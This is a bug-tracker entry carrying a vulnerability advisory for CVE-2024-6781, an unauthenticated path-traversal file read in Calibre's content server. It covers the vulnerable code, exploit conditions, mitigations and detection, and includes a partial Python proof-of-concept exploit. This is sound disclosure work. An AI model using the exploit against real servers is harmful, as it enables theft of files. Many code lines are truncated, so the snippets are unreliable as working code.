CVE-2024-6781 - STAR-2024-0037 - Calibre Arbitrary File Read
Affects | Status | Importance | Assigned to | Milestone | |
---|---|---|---|---|---|
calibre |
Fix Released
|
Undecided
|
Unassigned |
Bug Description
# CVE-2024-6781 - STAR-2024-0037 - Calibre Arbitrary File Read
## Summary:
| **Product** | Calibre |
| -------
| **Vendor** | Calibre |
| **Severity** | High - Unprivileged adversaries may exploit software vulnerabilities to perform relative path traversal to achieve arbitrary file read |
| **Affected Versions** | <= 7.14.0 (latest version as of writing) |
| **Tested Versions** | 7.14.0 |
| **CVE Identifier** | CVE-2024-6781 |
| **CVE Description** | Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability allows Relative Path Traversal |
| **CWE Classification(s)** | CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') |
| **CAPEC Classification(s)** | CAPEC-139 Relative Path Traversal |
## CVSS3.1 Scoring System:
**Base Score:** 7.5 (High)
**Vector String:** `CVSS:3.
| **Metric** | **Value** |
| -------
| **Attack Vector (AV)** | Network |
| **Attack Complexity (AC)** | Low |
| **Privileges Required (PR)** | None |
| **User Interaction (UI)** | None |
| **Scope (S)** | Unchanged |
| **Confidentiality \(C)** | High |
| **Integrity (I)** | None |
| **Availability (A)** | None |
## Product Overview:
Calibre is a cross-platform free and open-source suite of e-book software. Calibre supports organizing existing e-books into virtual libraries, displaying, editing, creating and converting e-books, as well as syncing e-books with a variety of e-readers. Editing books is supported for EPUB and AZW3 formats. Books in other formats like MOBI must first be converted to those formats, if they are to be edited. Calibre also has a large collection of community contributed plugins.
Calibre also offers a powerful content server feature. This allows users to share their Calibre libraries over the internet, making it easy to access your e-book collection from anywhere, at any time.
## Vulnerability Summary:
Arbitrary file read via Calibre's content server in Calibre <= 7.14.0.
## Vulnerability Details:
The source of the vulnerability is in `cmd_export.py`, that is called by the `cdb.py` router. The router imports a secondary module (in the format `cmd_*.py`) based on the incoming HTTP request's path. In this case, a request to `/cdb/cmd/export` will result in the file `cmd_export.py` being imported and its `implementation()` function will be executed. Additionally, the request body's content is used as `*args`.
> The list of `cmd_*.py` files can be obtained from the `src/calibre/
```python
# src/calibre/
@endpoint(
def cdb_run(ctx, rd, which, version):
try:
m = module_
except ImportError:
raise HTTPNotFound(f'No module named: {which}')
if not getattr(m, 'readonly', False): # [1]
[...snip...]
try:
result = m.implementatio
```
The vulnerable function is located at `cmd_export.
```python
# src/calibre/
readonly = True
[...snip...]
def implementation(db, notify_changes, action, *args):
[...snip..]
if action == 'extra_file':
book_id, relpath, dest = args # args parameter is sourced from request payload sequentially
if is_remote:
from io import BytesIO
output = BytesIO()
return output.getvalue()
```
The function `db.copy_
```python
# src/calibre/
def copy_extra_
full_book_path = os.path.
src_path = make_long_
if isinstance(
else:
with open(src_path, 'rb') as src:
```
## Exploit Conditions:
This vulnerability can be exploited by an unauthenticated attacker with the default configuration of Calibre's content server which has basic authentication disabled by default, or by any privileged authenticated attacker.
Additionally, the file must be UTF-8 compatible.
## Proof-of-Concept:
We have tried our best to make the PoC as portable and cross-platform as possible. This report includes a functional exploit written in Python3 that automatically performs the arbitrary file read.
A sample exploit script is shown below:
```python
#! /usr/bin/env python3
# PoC for: CVE-2024-6781
# Description: Unauthenticated arbitrary file read in calibre <= 7.14.0
# Written by: Amos Ng (@LFlare)
import json
import sys
import requests
_target = "http://
_book_id = 1 # ensure book_id exists
def exploit(path):
r = requests.post(
)
try:
except Exception:
if __name__ == "__main__":
exploit(
```

## Suggested Mitigations:
Ensure that user-supplied input are properly sanitised to prevent path traversals.
## Detection Guidance:
It is possible to detect potential exploitation of the vulnerability by checking the server's access logs for POST requests to the `/cdb/cmd/export` endpoint.
## Credits:
Amos Ng ([@LFlare](https:/
## Vulnerability Disclosure:
This vulnerability report is subject to a 120 day disclosure deadline as per [STAR Labs SG Pte. Ltd.'s Vulnerability Disclosure Policy](https:/
The scheduled disclosure date is _**27 Nov, 2024**_. Disclosure at an earlier date is also possible if agreed upon by all parties.
information type: | Private Security → Public Security |
Fixed in branch master. The fix will be in the next release. calibre is usually released every alternate Friday.